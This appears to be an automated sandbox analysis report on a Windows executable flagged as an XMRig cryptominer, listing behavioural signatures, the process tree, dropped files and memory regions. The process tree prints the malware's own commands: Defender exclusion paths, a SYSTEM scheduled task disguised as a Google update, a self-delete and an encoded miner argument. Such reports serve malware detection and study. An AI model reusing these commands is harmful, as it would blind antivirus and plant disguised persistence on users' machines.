Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1792s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3580
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2680
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1648
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:4484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3200
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:3668
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1952
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3024
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3660
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:4616
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1080
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:2984
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2108
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2744

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.6MB
                • SHA256 92643230989de02c626ac7656de95d700d78aa98dd5b4de1d76078303be69b43
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.0MB
                • SHA256 18b80bae6760fb56341050e312c8b9ab5d5eefd8099a0e75ff3453ef45b6b275
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 fd1165c9e6e54d3d949d994967f7ee1ae8d267215e5bbc473ecba680486e87e9
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_oq2e3jys.bwe.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oq2e3jys.bwe.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1504-11-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/1504-16-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/1504-13-0x000001D2FA750000-0x000001D2FA760000-memory.dmp

                memory/1504-12-0x000001D2FA750000-0x000001D2FA760000-memory.dmp

                memory/1504-6-0x000001D2E2270000-0x000001D2E2292000-memory.dmp

                memory/1952-84-0x000002093A710000-0x000002093A720000-memory.dmp

                memory/1952-83-0x0000020955860000-0x000002095586A000-memory.dmp

                memory/1952-82-0x0000020955850000-0x0000020955856000-memory.dmp

                memory/1952-81-0x0000020955820000-0x0000020955828000-memory.dmp

                memory/1952-77-0x00000209556C0000-0x00000209556CA000-memory.dmp

                memory/1952-80-0x0000020955870000-0x000002095588A000-memory.dmp

                memory/1952-87-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/1952-79-0x0000020955810000-0x000002095581A000-memory.dmp

                memory/1952-78-0x0000020955830000-0x000002095584C000-memory.dmp

                memory/1952-54-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/1952-55-0x000002093A710000-0x000002093A720000-memory.dmp

                memory/1952-75-0x00007FF487720000-0x00007FF487730000-memory.dmp

                memory/1952-74-0x000002093AE20000-0x000002093AE3C000-memory.dmp

                memory/1952-76-0x0000020955600000-0x00000209556B5000-memory.dmp

                memory/2108-186-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-156-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-180-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-182-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-184-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-154-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-188-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-190-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-152-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-150-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-176-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-148-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-174-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-172-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-170-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-168-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-166-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-164-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-162-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-146-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-144-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-124-0x0000022B9C900000-0x0000022B9C920000-memory.dmp

                memory/2108-125-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-160-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-127-0x0000022B9CA70000-0x0000022B9CAB0000-memory.dmp

                memory/2108-158-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-129-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-130-0x0000022B9CAB0000-0x0000022B9CAD0000-memory.dmp

                memory/2108-131-0x0000022B9CAD0000-0x0000022B9CAF0000-memory.dmp

                memory/2108-133-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-134-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-178-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-136-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-137-0x0000022B9CAB0000-0x0000022B9CAD0000-memory.dmp

                memory/2108-138-0x0000022B9CAD0000-0x0000022B9CAF0000-memory.dmp

                memory/2108-140-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2108-142-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp

                memory/2680-28-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/2680-30-0x0000027CB6D20000-0x0000027CB6D30000-memory.dmp

                memory/2680-29-0x0000027CB6D20000-0x0000027CB6D30000-memory.dmp

                memory/2680-31-0x0000027CB6D20000-0x0000027CB6D30000-memory.dmp

                memory/2680-33-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/2744-53-0x00007FF7FECB0000-0x00007FF7FEEC1000-memory.dmp

                memory/2744-126-0x00007FF7FECB0000-0x00007FF7FEEC1000-memory.dmp

                memory/2744-100-0x00007FF7FECB0000-0x00007FF7FEEC1000-memory.dmp

                memory/3024-102-0x000002C44D880000-0x000002C44D890000-memory.dmp

                memory/3024-95-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/3024-115-0x000002C44D880000-0x000002C44D890000-memory.dmp

                memory/3024-114-0x000002C44D880000-0x000002C44D890000-memory.dmp

                memory/3024-104-0x00007FF46FDE0000-0x00007FF46FDF0000-memory.dmp

                memory/3024-103-0x000002C44D880000-0x000002C44D890000-memory.dmp

                memory/3024-117-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/3200-52-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/3200-49-0x00000261DD6F0000-0x00000261DD700000-memory.dmp

                memory/3200-47-0x00000261DD6F0000-0x00000261DD700000-memory.dmp

                memory/3200-46-0x00000261DD6F0000-0x00000261DD700000-memory.dmp

                memory/3200-36-0x00007FFAE2DE0000-0x00007FFAE38A1000-memory.dmp

                memory/3660-128-0x00007FF7FF3B0000-0x00007FF7FF3C6000-memory.dmp

                memory/3660-135-0x00007FF7FF3B0000-0x00007FF7FF3C6000-memory.dmp

                memory/4612-0-0x00007FF779D70000-0x00007FF779F81000-memory.dmp

                memory/4612-35-0x00007FF779D70000-0x00007FF779F81000-memory.dmp